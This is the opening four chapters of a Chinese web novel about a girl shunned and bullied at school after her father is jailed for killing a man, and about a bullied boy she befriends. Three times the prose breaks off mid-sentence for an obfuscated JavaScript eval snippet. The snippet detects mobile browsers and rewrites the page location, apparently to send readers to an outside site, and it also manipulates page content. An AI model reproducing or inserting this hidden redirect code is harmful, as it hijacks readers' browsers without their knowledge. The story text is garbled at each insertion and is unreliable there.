《荆棘之上》 1. 第 1 章 “两块。” 结账的队伍排成了长龙,上一个刚结完,老板娘娴熟地抓起新放在柜台上的矿泉水,于“滴”一声后报出了价格。 在等待结账的间隙,她才有空抬头看向对方。 望见乔殊羽的脸时,她的双眼不自觉一觑,嫌弃地抿起嘴,从鼻腔里呼了一口气。 乔殊羽面无表情地扫了她一眼,取出饭卡结了帐,反手抓起矿泉水,像是握着一根棒球棍那般,大步走出了学校小卖部。 “我靠,就是她?” “她的眼神好可怕,你注意到没有。” “那不废话吗,跟她爸一样呗。” …… 背后的窃窃私语声压得还是不够低,每一句都清晰传至她的耳畔。讨论的内容也大同小异,颠来倒去似乎永远说不够。 跑操时因为队伍不整齐,他们班被留下来罚跑三圈,再加上跑完操后的两节课,都归属酷爱拖堂的数学老师。这一上午下来,连五分钟的买水时间都不给她。 乔殊羽渴到快要嗓子冒烟,一迈出门槛,便迫不及待拧开了瓶盖。 嘴唇刚刚抵上瓶口,一阵酷似给小孩把尿的口哨声传来。乔殊羽放低水瓶,抬眼望去,对方又冲她吹了一声,附带神情暧/昧地一挑眉。 那人穿着一身黑色的夹克,脚踩郁郁葱葱的草坪,耳钉在正午阳光的照射下闪闪发亮。 不必想也知道,下午上课之前,他肯定得着急忙慌地摘掉耳钉,唯有午休时分的这一两个小时,能让他好生显摆。 乔殊羽没说话,自上而下打量了他一番,神情淡然,仿似在看一件无关紧要的物件。 大抵被她看得很是不爽,那人突然跟吃了炮仗一般,扯着嗓子喊道:“傻/逼,看屁呢看,啥时候跟你爸一块蹲大牢去。” 她能清晰感知到数道目光被他的话所吸引,绕了个圈,最终都停留在了她的脸上。 紧随而来的是熟悉的议论声,像蚊鸣般扰人。 乔殊羽依然没说话,只是轻蔑地瞥了他一眼,转头打算离开。 “给你脸了是吧!”或许是旁人的围观,令被蔑视的他倍感丢脸,他瞪着眼又吼了一句,弯腰在草坪上摸起一枚石子,“有种过来啊。” 肩胛骨上传来一阵突如其来的钝痛,石子落地的轻微声响淹没在蝉鸣中。 乔殊羽回头望去,男生又摸起一枚石子,吹着不成调的口哨,将石子在手心抛接了两下。 第三下刚刚抛起,便被斜飞而来的矿泉水瓶重重砸下,洒出的水珠呈现一道漂亮的抛物线,一瞬间竟看到了稀薄的彩虹。 男生被泼湿了大半边身子,砸在手上的重量又让他一个踉跄。他恼羞成怒地瞪大双眼,尚未开口,便见乔殊羽三两步走到了他面前。 肩膀忽然被用力一推,力道大到他狼狈地跌坐在地,他慌张地抬起头,刚好迎上正对着他的瓶口。里面剩下的小半瓶水,把他淋了个劈头盖脸,而那满腹亟待送出的詈骂,则被强行塞进嘴里的矿泉水瓶统统堵下。 整个动作不超过十秒,乔殊羽平静地回头,再度迈进了小卖部。 议论声更大了,并且响亮到没有任何克制。 乔殊羽拿起一瓶同样的矿泉水,站在了队伍的末端。当前面的人慌张地向前挤时,她目无焦点地望着一处,脑中算着饭卡的余额。 又浪费了两块钱,真可惜。 这次,乔殊羽长了点记性,刚结完账便仰头灌下大半瓶水,干涸的喉咙终于得到了滋润,她舒畅地长呼一口气。 最要紧的事解决完了,她悠闲地一边拧瓶盖,一边向外走去。 路过草坪时,乔殊羽无意识地瞥了一眼。男生已经不见了,而被他踩扁的一小块草地上,闪耀着莹润的光泽。 她上前一步,脚尖抵着草坪的边沿,俯身伸长手臂,嫌弃地抓住矿泉水瓶的尾部,起身一甩手,轻巧地将它扔进了一旁的垃圾桶。 食堂这会儿正是最热闹的时刻,乔殊羽挑了个人少的窗口,没两分钟便端着一盘饭菜,坐在了角落无人的位置。 周围人声鼎沸,动个不停的嘴有大半时间是用来说话而非咀嚼,这成群结队的一帮帮,便使得独一个的她分外显眼。 今天的饭煮得稍微烂了些,乔殊羽皱着眉往嘴里塞,忽而见到眼前晃过两张校牌:“同学,请问可不可以……” 在对上乔殊羽抬起的眼时,其中一位姑娘用胳膊肘捣了捣另一位,两人话都没说完,便端着餐盘匆匆离开了。 乔殊羽咬着勺子一愣,将那句“可以”咽了下去。 这样也好,一个人独享一张桌子,也不用被迫听别人聊些无聊的八卦,乐得清静。 四人的餐桌是一个人独享,双人的课桌也是。 高中的书本堆成了山,其他人都坐在书堆里,写个作业摊不开胳膊,腿脚也无处安放。 唯有乔殊羽将所有书本堆在一旁的空书桌上,自己自在地享受一块清爽的桌面。 走读的学生一早回了家,住宿的也已经回到宿舍午睡,剩下那些在学校午休的,不过几个人,却生生闹腾出了满屋子人的气势。 只是这番吵闹,在他们看见乔殊羽走进教室时戛然而止。但很快,有人小声起了头,跌至谷底的噪声又开始稳步上升。 这让乔殊羽想起自己煮馄饨的经历,每当锅里的水开时,她便浇下一碗凉水,那沸腾的水会一瞬间平静下来,又慢慢升温再度沸腾。 她大概就是那碗凉水。 不同的是,那碗凉水最终会升到和其他水相同的温度,而她不会。 落座后,乔殊羽翻了翻未完成的作业,笔尚未提起,困意连带蝉鸣一并纷涌而来。 这批作业的截止日是明天,还可以拖延拖延。她干脆将桌上的所有东西都推到一旁,而后双手交叠,额头枕着手臂开始午休。 乔殊羽的睡眠向来很浅,入睡也困难,这全部归功于她那常常夜半回家的父亲。 她不知道她爸是干什么的,早些年好像是工厂工人,后来随着下岗潮失业了,又开始跑出租,跑了几年因为酒驾吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040904|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 销了驾照,就没什么正经工作了。 不过收入还是有的,但她不太关心家里经济情况,从没问过。 她只知道她爸常常半夜喝到醉醺醺才回来,开门是用踹的,一边走一边大声唱歌,水杯砸在桌面上“砰砰”响。 冲刺中考那段时间,乔殊羽睡眠本就不足,还总是凌晨被吵醒,黑眼圈就没散过,甚至一度在学校晕倒过。 好在后年的高考她不必担心这些了,因为他爸进了监牢,起码十几年不会打扰她。 也不是,他还是常常出现在她的噩梦里,在每个凌晨把她惊醒。 当然,那些同学是不知道这些的。 在看乔殊羽一动不动地趴了五分钟后,他们的对话内容里多出了一个“她”。 “你们知道吗,她刚刚又打人了,就在小卖部门口。” “我靠,为什么我们就这么倒霉,跟她一个班啊。” “我觉得她迟早也得进去,跟她爸一样。” …… 乔殊羽很想让他们换些新鲜句子,但张了张口终究没出声,好不容易酝酿的一点睡意,她舍不得打破。 这一觉睡得很不安稳,乔殊羽迷迷糊糊睡了没几分钟,便听见巡逻的教导主任猛地一拍门,让他们安静点午休。 于是那已经被她习惯成白噪声的议论声,变成了各自回到座位的脚步声,拉动桌椅的声音,还有其他窸窸窣窣的新鲜噪声。 一顿糟心的睡眠还不如不睡,以至于午休结束铃响起时,乔殊羽茫然地睁开眼,头脑昏昏沉沉,状态比午睡前还要差劲。 同学们陆陆续续来到了教室,她揉了揉太阳穴,强打起精神,翻出了午自习的作业本。 刚刚不过几个人,便闹腾成那样,现在一整个班的人,自然安静不到哪去。而这一整面不会写的题目,让乔殊羽烦躁地不停转着笔。 在这种难以集中心思的时刻,任何一点无关紧要的小事,都能引起她的注意。哪怕听听那些无聊的八卦,也比对着题目干瞪眼好。 “我刚刚过来,看到隔壁班‘小林子’又被揍了。” “妈的,我也看他不爽,一天到晚娘们唧唧的。” “那你别光说啊。我告诉你,那天我故意走到他面前,让他给我让路,结果他一愣,真的乖乖走到旁边去了,贼好玩。” “哈哈哈哈哈哈……” 都高二了,还有男生没变完声,笑起来好似鸭叫。乔殊羽默默用左手堵住耳朵,这个八卦还没有作业有意思。 但不听八卦,不会的作业也不能马上开窍,乔殊羽感觉浑身不自在,嘴里又开始发渴。 她喝完最后一口矿泉水,起身向外走去,打算再买一瓶水。 这会儿走廊上没什么人,教室里倒是坐得满当当的,一个班吵过一个班。 乔殊羽大步向楼梯口走去,下楼梯时习惯性地低着头,一路下到拐角处,脚边突兀地出现了一个人,吓了她一跳。 这是乔殊羽第三次见到他了,而她依然不知道对方的名字。 2. 第 2 章 尽管不知道名字,但并不影响乔殊羽对他的了解。 毕竟这可是隔壁班远近闻名的“娘娘腔”,是所有学生在高中繁忙生活的一点调剂。青春期的少年们有一种无知而冲动的残忍,无限趋近成人的身体里,尚有一颗孩童的心。 娘炮、娘娘腔、死太监、臭三八…… 乔殊羽只见过他三次,却无数次从别人的嘴里听过他。他的名字被这些代号所取代,大家说出口时的语气是如此自然轻松。 男生瘫坐在角落里,像一团被遗弃的垃圾,发皱的白T上,有着鲜明的灰色鞋印。 四目相对间,他本能地因恐惧而一缩肩膀,脸色是少见天日的白,便显得鼻腔源源涌出的鲜血红得刺眼。 乔殊羽面无表情地垂眼望着他,看他纤长的睫毛因不安而发颤,湿漉漉的眼很像是什么动物,嘴唇是浅浅的粉色,沾上了些许鲜血,仿佛涂了一半的口红。 第一次见到他,是在篮球场上。一群男生推搡着他,时不时有篮球精准地砸向他,把他当作了篮筐。 第二次见到他,是在男厕所门口。他也像现在这样糊了满脸的血,横着手臂擦了擦,结果越擦越脏,只能掀起衣摆抹了把脸,纤白的腰仿佛一折就断。 这是第三次,也是最近的一次。 乔殊羽淡然地瞥了他一眼,继续向下走。 只是未迈出两步,她鬼使神差地停住了脚步,手不自觉地放进口袋,下一秒,拳头先一步回身递到了他面前。 她能清晰听见男生倒吸了一口凉气,连肩膀都在颤抖。她暗自觉得好笑,翻开拳头,摊开—— 里面攥了一包纸巾。 男生的嘴唇还在不住地抖,有一滴血顺势砸到地面,摊开一朵暗沉的血花。 “你以为我要打你?”乔殊羽道。 男生没说话,只是看看她的手,又费劲地抬眼看看她,而后彻底垂下眼睑,遮住了大半神情。 “拿着啊,擦擦。等会儿干了更难擦了。”乔殊羽有些不爽他的迟钝,将掌心向他靠近了些。 男生默默伸出手,在半空中顿了一下,才小心翼翼地抬高些,接过她手里的那包纸巾。 他的五指纤长,便显得中指磨出的茧子格外显眼,指甲被修理得很秃也很干净,指尖不小心掠过她的掌心,令她有几分发痒。 乔殊羽忽然起了兴趣,半边身子倚靠在墙上,看着他清理自己。 大抵是被人看得不自在,他的头垂得很低,纸巾胡乱地抹着,血在纸上飞速洇开,鲜红的一大片,比在他脸上还骇人。 “那里。”乔殊羽指了指自己脸颊的位置。 男生抬头看了她一眼,茫然地在自己的脸颊上抹了抹。 “不对。”乔殊羽皱眉,又指了一遍。 然而他笨手笨脚的,擦了半天也擦不对位置。急性子的乔殊羽看不下去,试图从他另一只手里抽一张新的纸巾。 弯腰有些累人,她干脆一把抓住男生的领子,强行将他拽起。 男生脚下一个踉跄,摇晃着起了身,待他挺直背脊时,乔殊羽才发现他比自己还高了大半个头。 未被控制的距离间,近到她能窥见男生脸上细微的绒毛,还有眼角那枚浅褐色的小小泪痣,隐匿在睫毛扇下的阴影里。 这次,乔殊羽轻松地抽出一张纸,在他的脸颊处揩了一道。 血有些干了,她稍稍用了些力,男生吃痛地一眯眼,但没出声。血迹是没了,换作了她抹出的一道红痕,在白皙的脸上格外显眼。 “没了。”乔殊羽满意地扫了他一圈,回身向楼梯下走去,没找着垃圾桶,干脆随意将纸巾团成一团扔进了口袋。 身后传来不断靠近的脚步声,乔殊羽一回头,男生便慌张地停住了脚步,抓着扶手的那只手,用力到泛起青筋。 她疑惑地看着对方,他这才怯生生地开了口:“谢谢。” “哦。”乔殊羽冷淡地应道,忽而想起自己好奇了很久的那个问题,“你叫什么名字?” “林家望。”男生答道,“家庭的家,希望的望。” 乔殊羽敷衍地点点头,想着这种问题通常是双向的,没待他发问便道:“我叫乔殊羽。” “乔殊羽。”对方认真地念着她的名字,点点头。 关于他的声音,乔殊羽听过很多评价,语速慢,声音柔,没点男子气概。 但也是稀奇,乔殊羽第一次发现,自己的名字能被念得这么好听。 得到了想要的答案后,乔殊羽再度往下走。 身后没再传来脚步声,一直下到楼底,她忍不住回头看了一眼。林家望还站在原地,对上她的目光后,露出了一个微笑。 “天真”这个词猝不及防从脑海中蹦出,原本该形容孩童的词汇,却被大脑强行关联在了这番笑颜上。 乔殊羽茫然地一眨眼,继续向外走去。 等她拿着水回到四楼走廊,听到周围一片安静时,就知道糟了。 果然,班主任已经来到了教室开始监督午自习,班里只剩“唰唰”的写字声。见她从后门出现,班主任厌恶地一皱眉,别开了眼。 乔殊羽轻手轻脚地回到了座位,再度摊开那天书一样的作业。 学不会,也不知问谁。再这样下去,怕是连大学都考不上,然后成为她爸一样的街溜子,最后溜到牢里去。 那些人骂她的话,保不齐还是句预言。 前门又进了一个迟到的同学,对着班主任露出一脸尴尬的笑。 班主任“啧”了一声:“明年就高三了啊,一天到晚没点时间观念,快点回位置上去!” “不好意思、不好意思。”那人哈着腰连声道歉,小跑着落了座。 乔殊羽那原本预备着翻页的两指,无意识地用力一搓,揪下了一小角纸片。 高中的生活总是无聊地重复,乔殊羽坐在最后一排,独享两张课桌,双目无神地望着黑板。 周围的同学上课时打盹,下课时和周围同学笑闹,解不出题目又会抓着头发哀嚎,脸上的表情变化万千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040905|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而乔殊羽只是个不称职的观众,面对这纷呈的剧情,永远面无表情,分外扫兴。 八点半,晚自习下课铃准时响起。 晚自习有两节,通常本班老师只监督第一节。而第二节也不是完全自由的,走廊外总有每晚值班的老师来回巡逻。 但今天,距离下课尚有十分钟时,班里便响起窸窸窣窣的讨论声。直到铃声一响,有个坐在中间的同学率先起身,用力鼓了三下掌,而后一挥手,摆出指挥家的动作:“预备——唱!” “祝你生日快乐,祝你生日快乐……” 教室里响起并不整齐却格外响亮的歌声,有个男生在众人的起哄下起身,脸上的笑容异常灿烂。 看来,他就是今天的寿星。 乔殊羽茫然地看着众人,一瞬间自己好像退到了数里之外。所有人都变得很小,但很团结,被牢牢框在一起,徒留她在框外徘徊。 没有人告诉她今晚的这个安排。 歌唱完,大家开始你一句我一句地送上祝福。乔殊羽的面上依然写满迷茫,无意中对上一个人的目光,便见那人的笑容僵在脸上,微微皱起了眉。 那是一副“不知道为何她会在这里”的表情。 她确实不属于这里,乔殊羽近乎赌气地收拾好书包,起身时动作还是放轻了些,悄无声息地出了门。 刚刚迈出门槛,她听见背后传来一句“她终于走了”,接着又被七嘴八舌的祝福给淹没。 走廊上全是人,另两个班源源不断有学生涌出,疑惑地看着颇为热闹的这个班级,以及独一个走出教室的她。 好在夜很黑,窗口洒出的灯光只够照亮一半走廊,乔殊羽快步走向另一边,将自己隐没在了黑暗里。 但从后门望去,还是能一眼看到那唯一一对空了的座位,是一个突兀的缺口。 今晚的作业还没有写完,理化向来是乔殊羽最头疼的科目,就算选了文科,在会考结束前,也无法逃避被它们折磨的命运。 不知道回去又要熬到几点,抑或大胆一点,直接将空白作业交上去,反正就算她不写,老师也不会管她—— 乔殊羽轻轻吸了吸鼻子,夜里的空气潮湿又清凉,总算有点儿秋寒的意思了。 这会儿,除去她所在的11班,另两个班的学生几乎都挤在走廊上,迫不及待地想要回家。乔殊羽顺着人流缓慢向前,直到走出自己班的范围,紧绷的身躯这才放松下来。 经过12班门口时,她的目光无意识向内瞥了一眼。 她也不知道自己想看什么,反正最终什么也没看到。 楼梯就在不远处,总有些没素质的人站在楼梯口聊天,惹得大家只能侧着身下楼。 见状,乔殊羽不悦地皱起眉。恰逢此时,肩膀突兀地被人轻轻一拍,她便顺势冷着脸扭头看去。 林家望显然被她的表情吓了一跳,那双永远湿漉漉的双眼,在夜里闪着莹莹的光。 片刻沉默后,他犹豫着露出了一个示好的微笑。 3. 第 3 章 乔殊羽不解地望着他,嘴角微微一扯权当回应,脚下却不自觉放慢了许多。 “给。”林家望从口袋摸出一包崭新的纸巾递给她,“下午谢谢你。” “这也用还?”乔殊羽一怔,但还是接过纸巾,随手放进了口袋。 “当然。拿了别人的东西不还,总觉得心里过意不去。” 这副认真的语气,惹得乔殊羽忍不住发笑。见她笑了,林家望脸上的笑容也终于舒展了几分。 夜风拂过,清凉得很是舒畅。 几秒的沉默后,林家望略一颔首:“那我先走了。” “嗯。”乔殊羽应得很是敷衍,目光飘向楼梯口,那三个在楼梯口旁聊天的人终于走了,人流畅通了不少。 然而告别的话音刚落,耳边忽然传来一声克制的呻/吟,身边蓦地空缺了一块。 她循声回头,背后有两个男生上前薅住了林家望的头发,他被迫仰着头,跌跌撞撞地后退了好几步。 “厉害啊小林子,都学会泡妞啦。”其中一个笑道。 林家望半张着嘴说不出话,反手吃痛地捂着后脑,试图夺回几缕头发,却只是被人薅得更为用力。纤长的脖颈尽数显露,在夜色里泛着莹莹的白,像一只濒死的天鹅。 “同学,你知道他……”其中有位男生将目光移向她,言语里满是戏谑,却在望见乔殊羽的下一秒,惊讶地睁大眼,嫌恶地“啧”了一声,松开了手。 “有事吗?”乔殊羽淡然地开口道。 “走走走。”带头的一挥手,两人默契地回身消失在人群里,走之前还尚未忘记狠推一把林家望。 后脑刚刚失力,又被猛然一推,林家望一个踉跄,整个人朝乔殊羽的方向倒去,慌乱中竟也没敢抓着她稳住身体,舍近求远地够向了走廊沿的金属扶手。 乔殊羽全程淡定地看着他,看着他被放开,看着他被推/倒,看着他伸长的指尖抓上冰凉的扶手,也看着他莫名将自己圈进了怀里。 鼻腔里传来一股温暖的皂角香气,伴着似有若无的铁锈味,大抵是下午流的血没有彻底清洗干净。 站定后,林家望惊魂未定地松了一口气,却在窥见这过近的距离时,慌张地赶忙松开手,向后退了半步—— 结果不小心撞上背后路过的同学,又讨了一句难听的骂。 “不好意思,我……” 这句道歉显然是冲着乔殊羽的,她却无心听完。对方刚刚让开位置,她便面无表情地大步向前走去。 她讨厌林家望那副懦弱和讨好的模样。 一直下到拐角处,转身时乔殊羽用余光瞥了一眼,楼梯上满是陌生的身影。 小区最近的路灯坏了,乔殊羽骑着自行车,完全靠月光赏来的那么点儿亮度,在被汽车占了大半的狭隘小道中艰难穿行。 驶过一个转角时,她险些与一位阿婆撞个满怀。刹车声来得刺耳,对方埋怨了一声:“小姑娘,看着点路哟。” “对不起,您没事吧。”乔殊羽赶忙道歉。 阿婆仰头望向她,待到在月光里终于看清她的脸后,低骂了一声“晦气”,快步越过了她。 乔殊羽在原地顿了几秒,握着车把的手用力到手心泛疼。 楼梯里的声控灯也五层坏了三层,这座老小区到处都写满了破败,连住户亦是死气沉沉。唯有出了个杀人犯的事儿,让这里沸腾了一段时间。 乔殊羽摸黑打开门,家里正亮着暖黄的灯,却没见着人影,她提高了些声音:“妈,我回来了。” “哎,囡囡回来啦。”李亦梅自阳台走出,袖口高高卷起,湿漉漉的双手显然刚洗完衣服。她随意将手在衣服上蹭了蹭,帮着乔殊羽取下书包,“来来来,刚切好的苹果,先吃。” “嗯。”乔殊羽在餐桌旁落了座,盘子里,削了皮的苹果被精心切成了小块。 她吃苹果的时候,李亦梅在她对面落了座,单手托腮,满眼慈爱地望着她。 说不上为什么,乔殊羽被看得有些心酸。 李亦梅在北方出生长大,只是嫁来南方快二十年,口音一早被同化,性格也不似刻板印象里的北方女人那般爽利,说话做事温温柔柔的。唯一保留下来的北方特质,大概就是在周围同龄人里明显高上一截的身高。 而乔殊羽也只遗传了她的身高,初二便蹿到了一米七,遗憾的是后来没再长过。 乔殊羽的脸和她爸简直一个模子里刻出来的,一双凶而无神的下三白,鼻子高而窄,还长了双愧对唇形的薄唇。 她很讨厌自己的脸,毕竟它不够讨人喜欢,只要不笑便凶相毕露,偏偏她最不擅长的便是笑。每每照镜子,再好的心情也沉上几分。 也不知她妈和这两张脸在同一个屋檐下是什么心情,现在虽然少了一个,气氛也没好上多少。 “囡囡,学习是不是挺辛苦的。”李亦梅忽然道,“今天收到了你爸的信,可关心你了。” 乔殊羽生生停住了咀嚼,一瞬冷了脸:“别和我提他。” 李亦梅尴尬一笑,继续道:“再过半个月,就是你爸生日了,你有没有什么礼物,或者祝福想给他的?” 又是生日。 独独今天,她格外讨厌这个词。 短暂的沉默后,乔殊羽一把摔下叉子,不锈钢的叉子砸在陶瓷盘里,碰撞出刺耳的声响。 她的声音陡然提高了好几分:“我说了别和我提他!” 李亦梅被她突然的盛怒吓住,笑容僵在脸上,眼睁睁看着乔殊羽快步回了房,“轰”一声摔上门,用力到整个屋子都抖了抖。 许久,她的目光移回那盘只被吃了一半的苹果,削苹果时被割开的一小条伤口,在创可贴下又隐隐作痛。 她叹了口气,往嘴里塞了一块,牙齿机械地动了动。最终,她还是把它们都倒进了厨房的垃圾桶。 卧室内,乔殊羽瘫坐在椅子上,牙根咬紧到发酸,眼泪却依然不受控地往下滚落。 她讨厌难以控制情绪的自己。 每当愤怒上涌,仿佛即刻攥取了她的理智,面对越是亲近的人,越是如此。 她伸手从口袋里寻找纸巾,指尖却触到了一团柔软的东西,取出一看,是一张沾血的纸巾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040906|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔殊羽将它慢慢展开,望着那一小块已经变成褐色的血迹,脑中现出了男生白皙的脸颊上,被她用力揩出的那道红痕。 纵然隔着薄薄的纸巾,也能感受到那方柔软。 不多时,卧室门被轻轻敲响。 乔殊羽匆忙将纸巾扔进垃圾桶,胡乱抹了把眼泪,起身开门。 李亦梅正站在门外,一双眼红得不亚于她,手里握着一杯冒着热气的牛奶:“来囡囡,喝完再睡。” 乔殊羽怔了一下,犹豫着接过牛奶,顺手放在一旁的桌面,眼一眨不眨地望着李亦梅。 空气有几秒的僵持,李亦梅尴尬一笑,抬手握住门把手,准备带上门离开时,乔殊羽先一步从门缝挤了出去。 “妈。”她怯生生地唤道,“……对不起。” 无论如何,李亦梅所承受和所付出的,都一定比她多得多。 乔殊羽将头垂得很低,不敢再看她的眼。 头发被人轻轻揉了揉,背后搭上一只手,将她拥入温暖而熟悉的怀抱。 李亦梅的声音一如既往的温柔:“没关系,妈妈知道你学习压力大,不会怪你的。” 刚刚好不容易止住的眼泪,于此时如开闸般一泻千里。 她那拼命筑起的铠甲,总能在母亲的怀抱里被一击粉碎。 - 前一晚哭得太凶,翌日一早,乔殊羽望着镜中肿着眼睛的自己,烦躁地叹了口气。 此刻的自己看着有些滑稽,也有些可怜,实在有够糟的。 餐桌上一早摆好热腾腾的早餐,乔殊羽每天五点半起床,而李亦梅五点就得起来给她准备一切。 乔殊羽没什么心情吃,但为了不让李亦梅担心,还是强迫自己塞了大半。 走到玄关处,书包侧兜里装着一个崭新的保温杯。前天晚上,她刚刚告诉李亦梅她的保温杯摔坏了—— 她没说的是,那是被人故意撞掉而坏了的。 杯子拿着有些分量,应该是已经提前装满了水。刚帮她收拾完床褥的李亦梅从卧室走出,看着她手上的杯子笑了一下:“老板说这个保温效果很好的,你在学校喝的时候当心点,别被烫到。” “哦。”乔殊羽生硬地应了声。 她明明想说句“谢谢”,但不知怎的,总是道不出口。 秋分已过,天亮得愈来愈晚,踏出楼道,朦朦的秋露扑面而来,载着满满的凉意。 乔殊羽将外套裹紧了些,伴着日出一路疾驰。 紧赶慢赶,她还是踩着点进了教室。朗朗的早读声淹没了她的脚步声,但巡逻的班主任依然精准看到了自后门进班的她,短暂的四目相对后,二人默契地别开了眼。 从前被老师骂时,乔殊羽总觉得对方管得太宽太严。每次自己的小小违规瞒过老师,她都会一阵庆幸。 现在,老师终于真的不管她了,她却说不出自己是什么心情。 她沉默地一路走到自己的位置,习惯性地将书本放在一旁的空凳子上,刚刚落座,便见到原木色的课桌上,被用红笔写了一行字—— “杀人偿命”。 4. 第 4 章 她爸是暑假出的事。 她爸叫乔仁,虽然名字里带了个“仁”字,但与“仁”沾边的事基本不做。没了正经职业后,便成天在街上瞎混。 他的臭名远扬十里八乡,街上的人都对他退避三舍。派出所算是他的第二个老家,别人是战功硕硕,他就是案底累累,隔三岔五因为打架斗殴进去蹲个十天半月,快和那些个片儿警混熟了。 结果有天,真打出事来了。 那晚他和几个兄弟在大排档喝酒,不知怎的就和隔壁桌的人起了冲突。其实和他没多大关系,但他为了维护所谓的兄弟,挺身而出把人家揍了一顿。 对方也还了手,换做从前,不过是当作互殴,赔点钱一块儿蹲拘留所。偏偏情急之下,他敲碎啤酒瓶,一把插/进了对方的大动脉,事情便变了质。 派出所凌晨给李亦梅打了电话,那时候乔殊羽在睡觉,第二天醒来,发现家里空无一人。 翌日晚上,乔殊羽才得知此事。一瞬间,她的脑袋完全是懵的,“你爸打死了人”几个字在脑中久久回荡,以至于李亦梅说的其他话她都听不明晰。 直到李亦梅第三次重复,让她去探望她爸,她终于回了神,说她不想去。 所有学生在享受悠长的暑假时,乔殊羽在家长久地发呆,每天大脑都是懵的。 全程她都没有参与,全是李亦梅到处找律师,又去死者家里道歉赔钱请求谅解书。至于乔仁拼命维护的那个所谓兄弟,一早同他撇清了关系。 判决书是在她开学前两天下来的,十二年。 擎县这地儿很小,平常日子里别家结婚生子,都能让大家说道几日。更别提这种关乎人命的大事儿,说是举县关注也不为过。 被打死的那位家庭本就困难,妻子早年因事故罹患残疾,家里还有一个上中学的女儿,全靠他在工地干活养活全家,偏偏还遇上了克扣工资的老板。 那晚他和工友讨薪无果后,相约去大排档喝酒消愁,结果和邻座起了冲突,命丧街头。 对方的家庭背景爆出后,众人义愤填膺,媒体也争相报道和挖掘背后的苦难故事。 一时间,她家变成了众矢之的。 众人把她家的信息扒了个底朝天,其中自然也不乏她的。 从她的幼儿园再到高中,哪一届哪个班知晓得清清楚楚。包括她去过的餐馆、书店、文具店,各个老板都拿和她那短暂的那一点交集,当作无比重要的谈资,日日说个不停。 暑假结束乔殊羽便上高二了,因为文理分科,她去了一个完全陌生的班级,只有两位是曾经的高一同学。 一进教室,乔殊羽习惯性地和那两位同学打了声招呼,却见他们面上带着抗拒,躲避着她的目光。 而这只是开始。 陆陆续续有家长去找老师和校长抗议,说不希望自己的孩子和她一个班。虽然按照规定,学校无权因此开除她,但由于频繁为了她的事应付其他家长,所有老师也开始厌恶她的存在。 乔殊羽总是记得那天晚上放学时,她在楼梯上遇到了高一相好的一个同学。对方正和朋友有说有笑地聊着,乔殊羽上前拍拍她的肩,笑道:“好久不见,你现在在几班?” 对方茫然地回头,在见到她的脸后,触电般退后了几步,笑得很是尴尬:“那个,我妈在门外等得急,我先走了,不好意思啊。” 乔殊羽怔怔地站在原地,感受到周围有异样的目光不断传来。不知是谁认出了她,密密的议论声如潮水般翻涌而来。 相似的议论声,在以后会不断伴随着她,抵达她去过的每一个有人的角落。 乔殊羽本就不善与人相处,朋友也不多,从前虽然有人说她孤僻,但起码都是带着善意的。 可现在,她不知如何与这些扑面而来的恶意相处。 那些嫌恶的目光和辱骂的话语只是基本,咬着牙也能当作视而不见,但总有些男生爱对她动手,顺便开些下/流玩笑。 她没法忍,也没有人帮她,她能做的,只是握紧自己的拳头。 - 当她用拳头隔绝开一片天地后,取而代之的,便是些不必与她正面交锋的小动作。 像在她的课桌上写字这种事儿,开学一个多月以来,她已经遇过不下十次。 “杀人犯的女儿”“不要脸”“滚出二中”……还有各类下/流的侮/辱词汇,不一而足。 乔殊羽依然记得,在开学的第一天,当她第一次看见这些话时,一霎红了眼眶。 下一秒,耳畔便传来“作案者”的窃窃嘲笑。 而有些事是可以锻炼的,比如愈来愈有威力的拳头,比如此刻,她面无表情地从文具袋里翻出橡皮擦,熟练地开始擦拭。 原本用来擦铅笔字的橡皮,上面却沾着各色的笔油。 这四个字比起是写上去的,用力到更像是用红笔刻上去的。笔尖一早突破课桌表面的涂漆,渗入到下面的木头里,无论如何擦拭,也无法彻底清除干净。 周围响亮和谐的早读声中,掺入了些许突兀的低语,余光里,捕捉到数个朝向她的目光。 她是踩着点来的,其他人必然一早看到了这四个字,此刻,应该在暗笑她的无能。 乔殊羽放下橡皮,不打算继续与之较劲。 虽然她也知道自己此刻的服输,日后必然招来其他人的仿效。 今早是英语早读,像其他同学一样,乔殊羽一般都将各科课本留在教室里,只带些要完成的作业回家。 毕竟高中各科书本的数量属实惊人,要是每天搬来搬去,并不是件现实的事。 而此刻,她低头欲在桌肚内翻找时,却看到了一桌肚的碎纸。 她原本码得整整齐齐的各科课本,全被撕了个粉碎,胡乱地塞在桌肚里,几欲满溢。 乔殊羽沉默地抓出一手碎纸,听见周围传来一阵窃笑。 